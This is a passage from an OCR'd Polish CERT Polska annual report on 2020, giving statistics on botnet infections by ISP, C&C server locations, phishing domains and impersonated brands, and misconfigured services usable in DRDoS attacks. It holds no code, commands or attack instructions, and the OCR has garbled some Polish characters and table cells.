nosc¢ botnetdw, ktore juz sg sinkholowane, tzn.
Andromede i Confickera. Ten ostatni z 2 200
adresami w styczniu, zakonczyt 2020 r. na po-
ziomie 1 400 zainfekowanych urzgdzen. Wy-
razny trend spadkowy zarejestrowalismy w in-
fekcjach urzadzen QNAP Systems botnetem
Qsnatch. W grudniu ubiegtego roku byto ich
0 niemal potowe mniegj niz w styczniu — gtow-
nie w sieciach Orange i UPC. Nymaim z liczba
810 dziennych adresow IP uplasowat sie
na dziesigtym miejscu zestawienia. Wartosc ta
jest zblizona do tej z 2019 r. Choc¢ dla rodziny
Mirai aktywnos¢ w okresie catego roku jest
wysoce nieregularna, zaobserwowalismy nieco
wiecej infekcji niz w 2019 r. W ujeciu miesiecz-
nym Srednio 522 urzgdzenia loT z adresami IP
wykazywato infekcje tg rodzina.

W 2020 r. obserwowalismy w polskich sieciach
obecnosc¢ atakow kierowanych bezposrednio
w sklepy internetowe. Przestepcy wstrzykujg
ztosliwy kod JS zwany Magecart, ktory kradnie

dane kart kredytowych uzywanych podczas
transakcji przez regularnych klientow. W ciggu
roku obserwowalismy okoto sto zainfeko-
wanych serwerdw z serwisami e-commerce,
na ktorych byt dodany ztosliwy kod kradngcy
dane.

Aktywnos$¢ botnetéw z podziatem na
operatoréw telekomunikacyjnych

Na wykresie 1. prezentujemy stopien zainfeko-
wania uzytkownikow w sieciach najwiekszych
operatorow telekomunikacyjnych. Szacujemy
go na podstawie dziennej liczby zainfeko-
wanych adresow IP. Stopien zainfekowania
uzyskujemy dzielgc liczbe botéw przez liczbe
klientow korzystajgcych z dostepu do internetu
u danego operatora. Wykorzystujemy przy tym
dane z ,Raportu o stanie rynku telekomuni-
kacyjnego w Polsce w 2019 roku” wydanego
przez Urzad Komunikacji Elektronic

108 https://www.uke.gov.pl/download/gfx/uke/pl/defaultaktualnosci/36/345/9/raport_o_stanie_rynku_telekomunikacyj-

nego_w_polsce w_2019_r_4.09.pdf
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Aktywnos¢ botnetdw w sieciach najwiekszych polskich ISP

0.12

o
i
o

Stopien infekcji sieci [%]
o
s

=
o
=l

—— T-mobile
—— Netia
— Play
Orange
—— Plus / Cyfrowy Polsat / Aero 2
UpPC
—— Multimedia
Vectra
Inea

202001 202003 202005

2020-07

2020-09 202011 202101

Wykres 1. Aktywnos¢ botnetéw w sieciach najwiekszych ISP w 2020 r.

Od stycznia do maja 2020 r. w polskich sie-
ciach stopien infekcji byt staty i wynosit okoto
12 tys. urzadzen. W drugiej potowie roku ob-
serwowalismy spadek do srednio 10 tysiecy
zainfekowanych urzadzen. Najwiekszy odsetek
zainfekowanych uzytkownikow oszacowali-
smy w sieciach Netia. Podobnie jak w 2019 .
stopien infekcji u tego operatora przekraczat
jeden promil. Pod koniec roku w sieciach Netia
najwieksze botnety, rowniez |oT, wykazywaty
spadki. Malware Qsnatch nie byt aktywny w sie-
ciach Polkomtel, P4 i Multimedia — przez caty
rok byty to tylko pojedyncze przypadki. W T-Mo-
bile od poczgtku wrzesnia az do konca 2020
r. aktywnosc¢ sieciowa tego botnetu urzadzen
rowniez zanikta. Najwiecej zainfekowanych
urzadzen NAS majg uzytkownicy w sieciach
UPC ($rednio 300 urzadzen) oraz Orange (Sred-
nio 400 urzgdzen).

Infekcje botnetem Mirai obserwowalismy gtow-
nie w sieciach Orange oraz kilkanascie infekcji
na poczatku roku w Netii. W pozostatych sie-
ciach problemu infekcji Miraiem nie zarejestro-
walismy. W koncowce roku zarejestrowalismy
wzrost infekcji bankerem ISFB — u wiekszosci
operatorow byt on zazwyczaj kilkukrotny w po-
rownaniu z poczatkiem 2020 .

151

Serwery C&C

W 2020 r. zebralismy informacje o 64 653
adresach IP prawdopodobnie uzywanych jako
serwery zarzadzania botnetami (Command
& Control). Z uwagi na charakter zagrozenia
zdecydowalismy sie na opisanie problemu ze
wzgledu na lokalizacje adresu IP oraz domene
najwyzszego poziomu (TLD) nazwy domeno-
wej C&C. W statystykach pominelismy zgtosze-
nia dotyczace serwerow sinkhole CERT Polska,
ktérych uzywamy do unieszkodliwiania botne-
tow i wykrywania zainfekowanych maszyn.
Nasze wewnetrzne systemy do automatycznej
analizy szkodliwego oprogramowania, bedgce
podstawag platformy MWDB (wiecej informacji
o MWDB znajduje sie na stronie 53), w 2020 r.
zidentyfikowaty serwery C&C nalezgce gtownie
do rodzin Emotet, Trickbot, Mirai i Danabot.
Podobnie jak w poprzednich latach najwiecej
ztosliwych serwerow byto zlokalizowanych
w Stanach Zjednoczonych (47 proc.). 77 proc.
sposrod wszystkich serweréw C&C utrzymy-
wanych byto w 10 krajach przedstawionych
w tabeli 4. Zaobserwowalismy serwery w 168
krajach na catym Swiecie.



nask CERT.PLO-

Poz. Kraj Liczba adresow IP Udziat
1 USA 30675 47,45%
2 Niemcy 4111 6,36%
3 Holandia 3603 5,57%
4 Rosja 3 301 511%
5 Francja 1813 2,80%
6 Wielka Brytania 1638 2,53%
7 Singapur 1287 1,99%
8 Chiny 1282 1,98%
9 Kanada 1132 1,75%
10 Indie 947 1,46%
22 Polska 420 0,65%

Tab. 4. Kraje z najwiekszg liczbg serweréw C&C.

Zaobserwowalismy 4 324 réznych systemow autonomicznych (AS), w ktérych umiejscowione byty
serwery C&C. Dziesiec¢ systemow autonomicznych zawierato prawie 39 proc. wszystkich ztosliwych

serwerow. Ponizsza tabela wskazuje, ze przestepcy do utrzymywania swojej infrastruktury wybierajg

duze firmy hostingowe.

Liczba adresow

Poz. Numer AS Nazwa 1P Udziat
1 13335 Cloudflare 9632 14,90%
2 16509 Amazon 2909 4,50%
3 14061 DigitalOcean 2713 4,20%
4 46606 Unified Layer 2364 3,66%
5 16276 OVH 1819 2,81%
6 26496 GoDaddy 1368 212%
7 22612 Namecheap 1132 1,75%
8 14618 Amazon 1123 1,74%
9 15169 Google 1078 1,67%
10 24940 Hetzner 1003 1,55%

Tab. 5. Systemy autonomiczne z najwieksza liczbg serweréw C&C.
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W Polsce serwery C&C byty aktywne pod 420
roznymi adresami IP (22. miejsce na Swiecie,
z udziatem 0.65 proc.) w 114 systemach au-
tonomicznych. W tabeli 6. prezentujemy zesta-
wienie dziesieciu systemow autonomicznych,
w ktorych znajdowato sie najwiecej ztosliwych

serwerow zarzgdzajgcych botnetami. W sumie
zawieraty one potowe wszystkich serwerow
C&C w Polsce. Na uwage zastuguje fakt,
ze zarejestrowalismy jedynie 7 serwerow C&C
w sieciach Orange. W porownaniu z zesztym
rokiem jest to 25-krotny spadek.

Poz. Numer AS Nazwa Liczba adresow IP Udziat
1 12824 home.pl 79 18,81%
2 15967 Nazwa.pl 31 7,38%
3 16276 OVH 30 7,14%
4 8308 NASK 13 3,10%
5 41079 H88 11 2,62%
6 21021 Multimedia 10 2,38%
7 203417 LH.pl 10 2,38%
8 15694 ATM 8 1,90%
9 48896 dhosting.pl 8 1,90%
10 29522 KEI.PL 8 1,90%

Tab. 6. Systemy autonomiczne, w ktérych hostowanych jest najwiecej serweréow C&C w Polsce.

Zestawienie najpowszechniejszych TLD przed-
stawiamy w tabeli 7. Jako serwery C&C byto
wykorzystywanych 398 domen .pl, co stanowi
dwukrotny spadek w poréwnaniu do 2019
r. Najczesciej wystepujaca polskg domeng

drugiego poziomu byta com.pl, ktora zostata
wykorzystana w 44 przypadkach. Obserwujemy
spadek aktywnych domen, ktore sg zwigzane
z darmowym hostingiem.

Poz. TLD Liczba domen Udziat
1 .com 59 800 49,42%
2 .net 8911 7,36%
3 .org 7 581 6,27%
4 .ru 2 660 2,20%
5 .info 2 464 2,04%
6 .online 2 081 1,72%
7 Xyz 1741 1,44%
8 .in 1439 1,19%
9 .de 1328 1,10%
10 .site 1307 1,08%
36 .pl 398 0,33%

Tab. 7. Domeny najwyzszego poziomu, w ktérych zarejestrowano serwery C&C.
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Phishing

W tym podrozdziale uwzgledniamy wytgcznie
statystyki dotyczgce phishingu w tradycyjnym
rozumieniu tego stowa, czyli podszywania sie
z wykorzystaniem poczty elektronicznej i stron
WWW pod znane marki w celu wytudzenia
wrazliwych danych. Nie odnosimy sie wiec ani
do wytudzania danych przy pomocy ztosliwe-
go oprogramowania, ani do podszywania sie
pod dostawcow faktur np. w celu dystrybucji
ztosliwego oprogramowania.

nask CERT.PLO-

W 2020 r. otrzymalismy tgcznie 9 001 zgtoszen
phishingu w polskich sieciach. Dotyczyty one
5321 adresow URL z 3 354 domenami pro-
wadzgcymi do stron, ktore rozwigzywaty sie
na 1 093 adresy IP. Z roku na rok obserwujemy
spadek liczby systemow umiejscowionych
w polskich adresach jako infrastruktura
phishingowa. W poréwnaniu z 2019 r. byto
to prawie 300 mniej adresow IP ze stronami
phishingowymi. Obserwujgc wyniki poszcze-
golnych systemow autonomicznych, znaczna
przewaga firmy home.pl wynika prawdopodb-
nie z jej oferty handlowej, ktéra rowniez dla
przestepcow jest atrakcyjna.

Poz. Numer AS Nazwa AS Liczbaadre- . .12 domen
sow IP

1 12824 home.pl 367 1539

2 15967 Nazwa.pl 150 268

3 16276 OVH 51 90

4 41079 H88 46 358

5 205727 Aruba 40 81

6 20940 Akamai Technologies 25 6

7 29522 KEI.PL 25 54

8 48896 dhosting.pl 23 298

9 8308 NASK 22 89

10 16625 Akamai Technologies 21 9

Tab. 8. Polskie systemy autonomiczne, w ktérych znajdowato sie najwiecej stron phishingowych.

W catym internecie zarejestrowalismy zareje-
strowalismy ponad 2,4 mIn zgtoszen phishingu.
Obserwujemy wzmozong aktywnosc¢ prze-
stepcow atakujgcych polskich uzytkownikow
internetu z wykorzystaniem zagranicznej infra-

struktury. W 2020 r. na naszej liscie hole.cert.pl
oznaczylismy 7 459 domen wykorzystywanych
do wytudzen. Rozwigzywaty sie na 2 003 adre-
sy IP, gdzie az 1 258 adresow znajdowato sie
za ustugg Cloudflare. Nasi analitycy najczesciej
blokowali domeny .pl.
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Poz. Liczba domen TLD Udziat
1 2193 .pl 29,40%
2 1195 .com 16,02%
3 801 .eu 10,74%
4 618 .net 8,29%
5 368 Xyz 4,93%
6 289 .online 3,87%
7 214 .site 2,87%
8 188 u 2,52%
9 165 .org 2,21%
10 100 .info 1,34%

Tab. 9. Domeny najwyzszego poziomu, ktore na liscie hole.cert.pl zostaty oznaczone przez analitykéw CERT Polska

jako wykorzystywane do wytudzen.

Najczestszym podmiotem, pod ktéry podszy-
wali sie przestepcy atakujgc polskich internau-
tow byt Facebook. Przestepcy w dalszym ciggu
szeroko wykorzystujg do podszywania sie
takze popularny serwis aukcyjny OLX. Czesto
blokowalismy domeny zawierajgce w nazwie

stowo “olx”, ktore w rzeczywistosci byty klona-
mi serwisu ptatnosci grupy PayU. Strony takie
zazwyczaj uzywane byty do wytudzen dostepu
do bankdw i danych kart kredytowych. Wiecej
na temat listy hole.cert.pl piszemy na str. 23
raportu.

Poz. Podmiot Liczba domen
1 Facebook 2384
2 PayU 888
3 OLX 819
4 InPost 410
5 Allegro 272
6 Santander 230
7 Dotpay 182
8 iPKO 122
9 Netflix 90
10 DPD 84

Tab. 10. Najczesciej wybierane podmioty, pod ktére podszywali sie przestepcy przy rejestracji domen.
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Ustugi pozwalajgce na prowadzenie
atakow DRDoS

W 2020 r. otrzymalismy informacje o 711 492
adresach IP zlokalizowanych w Polsce, pod
ktorymi znajdowaty sie ustugi umozliwiajgce
przeprowadzenie rozproszonych atakow od-
mowy ustugi ze wzmocnieniem (Distributed
Reflection Denial of Service — DRDoS). Ponizej
przedstawiamy zestawienie ustug, ktére mogty
by¢ wykorzystane do atakow i byty najliczniej
reprezentowane w polskim internecie. Ustugi
te zostaty omowione w dalszej czesci raportu.

Nazwa podatnosci  Srednia dzienna

Dzienne maksi-

Uwzglednilismy zarowno adresy IP, na ktorych
faktycznie dostepne sg zle skonfigurowane
ustugi, jak rowniez ustugi, ktére sg dostepne in-
tencjonalnie (np. publiczne open resolvery) oraz
systemy honeypot, poniewaz ich odroznienie
na podstawie danych ze skanowania internetu
jest trudne, a ich tgczna liczba niewielka.

Rozmiar systemu autonomicznego (AS) usta-

lilismy na podstawie danych pochodzgcych
ZRIPE z 1 lipca 2020 .

Odchylenie Czas

poz / otwartej ustugi liczba adresow IP mum adresow IP standardowe obserwaciji
1 resolver 44 088 54784 4 487 100,00%
2 snmp 23 555 30903 4161 92,90%
3 portmapper 18712 23146 2 264 92,62%
4 ntp 15900 17910 1188 92,90%
5 ssdp 12 896 17 863 2615 91,53%
6 netbios 12 668 14 056 559 93,72%
7 mdns 5178 5897 511 91,80%
8 mssq| 2519 3646 397 92,08%
9 chargen 189 276 34 91,26%
10 qotd 49 79 9 93,72%
11 xdmcep 34 61 13 91,80%

Tab. 11. Zestawienie najczesciej wystepujacych niepoprawnie skonfigurowanych ustug mozliwych do wykorzystania
w atakach DRDoS. Odchylenie standardowe dotyczy zmiennos$ci w dziennej liczbie adreséw IP obserwowanych
na przestrzeni roku, taczny czas obserwacji odpowiada czesci roku, dla ktorej mieliSmy informacje o danej ustudze.

Przy analizie danych o ustugach pozwalajg-
cych na prowadzenie atakow DRDoS oraz
ustugach ze znanymi podatnosciami w 2020 .
zdecydowalismy sie zmodyfikowac stosowang
dotychczas metodyke. Od drugiej potowy wrze-
snia 2019 r. obserwujemy, ze dane pochodzgce
z jednego z systemow autonomicznych nale-
zacych do Orange (AS5617) sg niekompletne.
Odnotowujemy duze zmiany dzienne w liczbie
adresow IP, naprzemienne okresy spadkowe

i wzrostowe tej liczby oraz brak stabilizacji.
Z przeprowadzonej przez nas analizy wynika,
ze najbardziej prawdopodobnym powodem tej
sytuacji jest fakt, ze Orange blokowat czesc¢
zapytan generowanych przez wielkoskalowe
skanowania internetu wykonywane przez
fundacje Shadowserver, ktdra jest gtdwnym
dostawcg danych o niepoprawnie skonfiguro-
wanych i zagrozonych ustugach sieciowych
(wiecej szczegotow na temat dziatan Shadow-
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server jest dostepnych na stronie organizacji:
https:/www.shadowserver.org/what-we-do/).
Problem dotyczy wszystkich analizowanych
ustug i w zwigzku z tym, ze AS5617 w wielu
przypadkach ma wysoki udziat w catkowitej
liczbie adresow IP dla danej ustugi, wptywa on
w znacznym stopniu na zbiorcze statystyki.
Zdecydowalismy sie na odpowiednie skory-
gowanie danych przy uzyciu metody opisanej
w dalszej czesci tekstu. Nastepnie na podsta-
wie skorygowanych danych powstaty tabele
I wykresy umieszczone w raporcie.

Metoda, ktérej uzyliSmy do oszacowania rze-
czywistej liczby adreséw IP polega na wzieciu
pod uwage okresu przed wrzesniem 2019 r.
i znalezieniu w tym przedziale czasu grupy
takich adresow, ktore znajdowaty sie w danych
dostarczanych przez Shadowserver prawie
kazdego dnia. Dla kazdej z ustug jest to wyko-
nywane oddzielnie. Liczba dni, podczas ktorych
adres IP musiat by¢ widoczny, zostata przez
nas okreslona procentowo i jest to zalezne
od ustugi. Wyselekcjonowane w ten sposob
adresy IP uznajemy za stabilne. Poczgwszy
od wrzesnia 2019 r. tylko dla tej grupy adre-
sow kontynuowalismy nastepnie obserwacje.
Zauwazylismy okresowe zanikanie tych
adresow IP oraz ponowne ich pojawianie sie
w posiadanych przez nas danych. Dziato sie
to w tych samych przedziatach czasowych dla
wiekszosci adresow IP z wybranej przez nas
grupy. Nie dotyczyto to wszystkich adresow, po-
niewaz blokowanie ruchu przez Orange nie byto
stuprocentowe. Nalezy tez zauwazyc, ze czesc
adresow IP w miare uptywu czasu zanikata
na state i nie miato to zwigzku z blokowaniem
zapytan. Powyzsze obserwacje zgadzajg sie
Z naszg hipotezg o blokowaniu przez Orange
ruchu zwigzanego ze skanowaniem ustug.
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Patrzgc na dzienng liczbe widocznych adresow
IP, niezaleznie od okresowego zanikania, mo-
glismy zaobserwowac w przyblizeniu liniowo
malejgcy liczbe adresoéw w okresie od wrzesnia
2019 do konca 2020 r. Jak juz wczesniej zosta-
to wspomniane, jest to zwigzane z zanikaniem
danego adresu IP na state. Dla kazdej z ustug
dla wyselekcjonowanej wczesniej grupy adre-
sow IP staralismy sie znalez¢ okresy, w ktorych
prawdopodobnie nie dochodzito do limito-
wania ze strony Orange. Byty to przedziaty
czasowe, kiedy notowalismy lokalne maksima
pod wzgledem liczby widocznych adresow IP.
Liczbe adresow IP dla pozostatego czasu sza-
cowalismy poprzez interpolacje liniowg miedzy
maksimami. Nastepnie policzylismy dla kazde-
go dnia wspotczynnik okreslajgcy odchylenie
rzeczywistej liczby adreséw od interpolowane;
wartosci. Dzieki tym wspotczynnikom w kon-
cowym etapie moglismy odpowiednio przeska-
lowac dane na potrzeby dalszej analizy. Opisy,
wykresy i tabele w dalszej czesci odnoszg sie
do danych po przeskalowaniu.

Na wykresie 2. zostat pokazany przewidywany
przebieg zaobserwowanej przez nas liczby
urzadzen, ktére mogg zostac wykorzystane
do przeprowadzenia rozproszonych atakow
DoS ze wzmocnieniem (DRDoS) w skali roku.
Wykresy zostaty sporzgdzone dla 7 najczesciej
zgtaszanych ustug.

Pozytywnym trendem jest stopniowy spadek
liczby urzgdzen zwigzanych z ustuga resolver,
portmapper oraz mDNS na przestrzeni catego
roku. W przypadku ustug SNMP, NTP i SSDP
zaobserwowalismy na poczgtku pazdziernika
skokowy wzrost liczby adreséw IP. Prawdopo-
dobnie wynika on ze zwiekszonej czestotliwo-
sci skanowania tych ustug przez Shadowserver,
co zwiekszyto liczbe wykrytych urzgdzen, ktore
nie sg wtgczone catg dobe lub sg dostepne
pod zmiennym adresem IP.


https://www.shadowserver.org/what-we-do/
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Liczba adreséw IP
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Wykres 2. Najpowszechniejsze zZle skonfigurowane ustugi mogace braé udziat w atakach DRDoS. Wykres ukazuje
zmiany liczebnosci podatnych adreséw IP w Polsce w 2020 r.
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Otwarte serwery DNS

Najpopularniejszg obserwowang w 2020 r.
ustugg pozwalajgcg na przeprowadzanie
atakéw DRDoS byty, podobnie jak w latach
poprzednich, otwarte serwery DNS (open
resolver). Pomimo kluczowego znaczenia dla
dziatania internetu, zdecydowana wiekszosc¢
serwerow DNS nie powinna odpowiadac
na zapytania z catej sieci internet, lecz tylko
na zapytania z ograniczonej grupy adresow.

W 2020 r. otrzymalismy 10 257 142 zgtoszenia
0 181 447 adresach IP z uruchomionym otwar-
tym resolverem — to spadek o okoto 195 tys.
adresow w porownaniu z rokiem 2019 i o okoto
520 tys. adresow w porownaniu z 2018 r,, co
Swiadczy o istotnej poprawie w ostatnich
latach. Dzienna s$rednia liczba adreséw wyno-
si obecnie 44 088, co jest wartoscig o 3 tys.
mniejszg w porownaniu z poprzednim rokiem.
Na przestrzeni 2020 r. notowalismy stopniowy
spadek dziennej liczby adreséw IP z tg ustuga.
Podobnie jak w ubiegtych latach, w zestawieniu
systemow autonomicznych z liczbg adresow
dominowat AS5617, czyli sieC Orange. W przy-

padku tego systemu autonomicznego widac
pozytywny trend w postaci spadku sredniej
dziennej liczby adresdow IP o okoto 3 tys. To
witasnie ten system autonomiczny miat gtow-
ny wptyw na spadek dziennej sredniej liczby
adreséw z otwartym resolverem liczonej dla
wszystkich systeméw. W pozostatych syste-
mach autonomicznych z tabeli dzienna liczba
adresow IP utrzymuje sie na statym poziomie
w skali roku lub widzimy niewielkg tendencje
spadkowg. Wyjatkiem jest jedynie AS199475
(KNC) — nowos$¢ w tym zestawieniu, gdzie
widzimy wyrazng statg tendencje wzrostowa.
Niepokoic¢ w tym przypadku moze takze wysoki
odsetek adresow w catym AS, ktore mogg zo-
sta¢ wykorzystane do ataku DRDoS. W porow-
naniu z 20179 r. tym razem obserwujemy spa-
dek liczby otwartych resolverow w sieci Netia
(AS12747) — srednia dzienna liczba zmalata
0 450 w stosunku do poprzedniego roku, pod-
czas gdy miedzy 2018 i 2019 zanotowalismy
wzrost. Moze to by¢ jednak zwigzane z ogol-
nym malejgcym trendem. Warto tez zwrocic
uwage na AS nalezgcy do Onefone, w ktorym
odsetek wszystkich adresow [P utrzymuje sie
rokrocznie na podobnym wysokim poziomie.

Poz. Numer AS Nazwa AS Srednia Maksimum kg:iS::I(::svgjvz{vSXS
1 5617 Orange 30858 43 212 0,56%
2 12741 Netia 1339 1751 0,08%
3 24577 Onefone 487 549 13,59%
4 6830 UPC 461 536 0,01%
5 199475 KNC 353 609 17,24%
6 13110 Inea 347 411 0,21%
7 5588 T-Mobile 341 783 0,02%
8 8374 Plus / Cyfrowy 309 385 0,02%
Polsat
9 29314 Vectra 295 362 0,06%
10 20960 TKTELEKOM 286 397 0,12%

Tab. 12. Dzienna liczba adreséw IP, na ktérych wykryto otwarty serwer DNS, w podziale na systemy autonomiczne.
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SNMP

SNMP (ang. Simple Network Management
Protocol) to protokét stworzony do zdalnego
zarzadzania urzgdzeniami sieciowymi. Zaleca-
ne jest uzywanie go wytgcznie w odseparowa-
nych sieciach przeznaczonych do zarzgdzania.
W sytuacji, gdy ustuga bazujgca na SNMP jest
widoczna w internecie, poza zagrozeniem nie-
uprawnionego dostepu do urzgdzenia, moze
by¢ wykorzystana do atakow DDoS.

W 2020 r. otrzymalismy 7 450 338 zgtoszen
0 201 392 adresach z uruchomionym SNMP,
co oznacza okoto dwukrotny spadek w liczbie
adresow w porownaniu do 2019 r. i czterokrot-
ny w porownaniu do 2018 r. Natomiast najistot-
niejszy wskaznik, czyli dzienna srednia liczba
wystgpien, wyniosta 23 555 adresow, co stano-
wi jedynie 4 proc. redukcje wzgledem poprzed-

niego roku. Patrzac jednak na dane tylko z 2020
r. mozna zauwazy¢ tendencje wzrostowa, ktéra
znajduje swoje odzwierciedlenie w poszczegol-
nych systemach autonomicznych z tabeli. Je-
dynie w przypadku Powszechnej Agencji Infor-
macyjnej (AS8798) zaobserwowalismy nagty,
gwattowny spadek w potowie roku z poziomu
kilkuset adresow IP do poziomu kilkudziesieciu,
ktory mogt wynikac np. ze zmian w konfiguracji
urzgdzen w systemie autonomicznym tego
operatora. Ponownie na pierwszym miejscu
znalazt sie AS12741 nalezgcy do Netii. W 2020
r. po raz pierwszy na liscie pojawit sie C3 NET
(AS202281) z wysokim odsetkiem adresow
w AS. Niepokoi¢ moze po raz kolejny wysoki
odsetek adresow w systemie autonomicz-
nym Net Center (AS60920) — okoto 23 proc.
adresow IP rozgtaszanych przez ten system
autonomiczny miato instancje SNMP otwartg
na dostep z internetu.

) Odsetek
Poz. Numer AS Nazwa AS Srednia Maksimum wszystkich
adresow w AS
1 12741 Netia 7 890 11 069 0,48%
2 5617 Orange 2945 3692 0,05%
3 20804 Exatel 711 939 0,29%
4 202281 C3 NET 588 839 11,48%
5 60920 Net Center 581 770 22,70%
6 8798 Powszechna Agencja g 801 3,23%
Informacyjna
7 8374 Plus / Cyfrowy 287 439 0,02%
Polsat
8 4 ISI 281 365 0,39%
NETCOM o
9 199978 COMPUTERS 278 396 13,57%
10 41809 ENTERPOL 266 361 2,21%

Tab. 13. Dzienna liczba adreséw IP, na ktérych wykryto dziatajgca ustuge SNMP na dostepnym publicznie interfejsie,

w podziale na systemy autonomiczne.
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Portmapper

Portmapper to niskopoziomowa ustuga typowa
dla uniksowych systemow operacyjnych. Korzy-
stajg z niej protokoty wyzszych warstw, w tym
m.in. NFS (sieciowy system plikéw). Publicznie
dostepny portmapper stanowi zagrozenie ze
wzgledu na mozliwosc¢ jego wykorzystania
w atakach DDosS.

W 2020 r. otrzymalismy 6 161 332 zgtosze-
nia 0 79 134 adresach z ustugg portmapper
dostepng na publicznym interfejsie. Dzienna
srednia wynosita 18 712 adresdw, co oznacza
spadek o ponad 10 proc. wzgledem roku 2019.
Wraz z uptywem 2020 r. zaobserwowalismy
spadek z poziomu mniej wiecej 22 tys. adresow
na poczgtku roku do poziomu 17 tys. na koniec.
W 2019 r. wysokie miejsce w tabeli zajmowaty
AS16276, nalezgcy do OVH, oraz AS29314,
nalezgcy do Vectry. W 2020 r. sytuacja ulegta
znacznej poprawie — ponad czterokrotny

spadek sredniej dziennej liczby adresow IP
w przypadku OVH i dwukrotny w przypadku
Vectry. W obu przypadkach zanotowalismy
skokowe spadki liczby adresow IP w ciggu
roku. W przypadku OVH nastgpit skokowy
spadek na poczagtku roku. Jesli chodzi o Vectre
to mielismy do czynienia z takim spadkiem
dwa razy w ciggu roku. Takie sytuacje moga
wynikac np. z aktualizacji konfiguracji maszyn
u tych dostawcow ustug lub wprowadzenia
odpowiednich regut filtrowania ruchu. Jedynie
w przypadku systemu autonomicznego nale-
zacego do Exatela (AS20804) stwierdzilismy
stopniowy wzrost w skali roku. Nowoscig
z naszym zestawieniu jest AS204630 (NE-
TWORK-OFFICE-SYSTEM), ktory charaktery-
zowat sie bardzo wysokim odsetkiem adresow
w systemie autonomicznym z otwartg ustugg
portmapper. W przypadku systemow autono-
micznych IOMART (AS20860) i BEST-TELECOM
(AS41057) warto zaznaczyc, ze czas obserwa-
cji wich przypadku byt bardzo krotki — wynosit
kolejno tylko okoto 3 oraz 2 procent roku.

) Odsetek wszyst-
Poz. Numer AS Nazwa AS Srednia Maksimum kich adresow
w AS
1 57367 ATMAN 1357 1452 8,55%
2 5617 Orange 996 1463 0,02%
3 16276 OVH 848 2315 0,02%
4 20860 IOMART 773 2855 0,19%
5 41057 BEST-TELECOM 503 504 49,12%
6 12741 Netia 486 563 0,03%
7 12824 home.pl 414 1001 0,20%
8 29314 Vectra 391 1049 0,07%
9 204630 NETV_VS%I?SKI:SI\;FICE_ 352 374 34,38%
10 20804 Exatel 348 585 0,14%

Tab. 14. Dzienna liczba adreséw, na ktorych wykryto dziatajgcag ustuge Portmapper na dostepnym publicznie inter-

fejsie, w podziale na systemy autonomiczne.
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NTP

Network Time Protocol (NTP) jest powszech-
nym protokotem synchronizacji czasu uzywa-
nym w sieciach komputerowych. Publicznie
dostepne serwery NTP, ktére udostepniajg po-
lecenie monlist, mogg by¢ jednak wykorzystane
do atakow DDoS.

W 2020 r. otrzymalismy tgcznie 4 979 104 zgto-
szenia 0 33 302 adresach IP, co stanowi spadek
0 195 tys. adreséw w porownaniu z rokiem
poprzednim. Dzienna srednia liczba wystgpien

wyniosta 15 900 adresow. W przypadku tej
ustugi dzienna liczba adreséw IP odnotowata
niewielki wzrost w ciggu roku ze skokowym
wzrostem w czwartym kwartale, ktory, jak
juz zostato wyjasnione wczesniej, moze wy-
nika¢ ze zwiekszonej czestosci skanowania.
W poréwnaniu z poprzednim rokiem znacznie
zmalata liczba adreséw obstugujacych ten
protokot w systemie autonomicznym Orange
(AS5617) — spadek 0 okoto 2 tys. adreséw, czyli
0 okoto 50 proc. Liczba ta zmalata o kilkaset
adresow takze w systemach autonomicznych
Netii i T-Mobile (znajdujgcych sie na drugim
i trzecim miejscu w zestawieniu).

) Odsetek wszyst-
Poz. Numer AS Nazwa AS Srednia Maksimum  kich adreséw
w AS
1 5617 Orange 2261 2723 0,04%
2 12741 Netia 1563 1846 0,09%
3 5588 T-Mobile 1108 1221 0,08%
4 20960 TKTELEKOM 355 386 0,14%
5 8798 Powezechna Qg:”"ja 342 434 3,82%
6 20804 Exatel 330 415 0,13%
7 199715 MSITELEKOM 287 351 1,84%
8 15694 Atman 251 282 0,33%
9 31242 TKPSA 237 476 0,23%
10 48956 HYPERNET 223 367 512%

Tab. 15. Dzienna liczba adresdw, na ktérych wykryto dziatajagca ustuge NTP na dostepnym publicznie interfejsie, w

podziale na systemy autonomiczne.

SSDP

Simple Service Discovery Protocol to protokot
stuzgcy do wykrywania urzgdzen, bedgcy cze-
Scig standardu Universal Plug and Play (UPNnP).
SSDP w zamierzeniu jest wykorzystywany
w niewielkich sieciach lokalnych i nie powinien
by¢ dostepny z internetu.

W 2020 r. otrzymalismy 4 199 284 zgtoszenia
0 183 031 adresach IP zwigzanych z ustugag
SSDP. Jesli chodzi o liczbe adresow IP to
jest to spadek o prawie 200 tys. w poréwna-
niu z 2019 r. i prawie 600 tys. w porownaniu
do 2018 r. Dzienna srednia liczba wystgpien

wyniosta 12 896 adresow, co stanowi spadek
o okoto 50 proc. W ciggu roku notowalismy
niewielki wzrost liczby adreséw IP. Podobnie
jak w przypadku ustug SNMP oraz NTP wi-
doczny jest skokowy wzrost liczby adresow
IP we wszystkich systemach autonomicznych
z tabeli poczgwszy od pazdziernika 2020 r.
AS5617 nalezgcy do Orange kolejny rok znalazt
sie na pierwszej pozycji w zestawieniu. Dzienna
srednia liczba adresow IP zmalata jednak w tym
przypadku o ponad 2 tys. poréwnujgc do 2019
r. Na uwage zastuguje ponownie wysoki odse-
tek adreséw w systemie autonomicznym nale-
zgcym do DERKOM (AS197697) — w 2020 r.
wynosi on 12 proc.
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Odsetek wszyst-
Poz. Numer AS Nazwa AS Srednia Maksimum kich adresow
w AS
1 5617 Orange 1695 3023 0,02%
2 197697 DERKOM 985 1538 12,02%
3 29314 Vectra 936 1615 0,18%
4 12741 Netia 715 961 0,04%
5 41256 Servcom 579 1038 1,77%
6 8374 Plus / Cyfrowy 463 653 0,03%
Polsat
7 41023 ARREKS 263 451 7,34%
8 199201 SPI-NET 202 267 6,58%
9 50231 Syrion 192 303 0,77%
10 31242 TKPSA 175 314 0,17%

Tab. 16. Dzienna liczba adresow, na ktorych wykryto dziatajgca ustuge SSDP na dostepnym publicznie interfejsie,

w podziale na systemy autonomiczne.

NETBIOS

NetBIOS to niskopoziomowy protokot wyko-
rzystywany przede wszystkim przez systemy
Microsoft. Powinien by¢ uzywany wytgcznie
w sieciach lokalnych, a jesli jest dostepny
z sieci publicznej, stanowi zagrozenie —
nie tylko w zwigzku z mozliwoscig wykorzysta-
nia w atakach DDoS.

W 2020 r. trzymalismy 3 530 635 zgtoszen
0 49 274 adresach IP, co stanowi spadek
o prawie 30 proc. w porownaniu z 2019 r.
Dzienna srednia liczba wystgpien wyniosta 12
668 adresow i jest to wartos¢ poréwnywalna
z rokiem poprzednim. Przez wiekszos¢ roku
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obserwowalismy utrzymujgca sie na statym
poziomie liczbe adreséw IP z uruchomiong
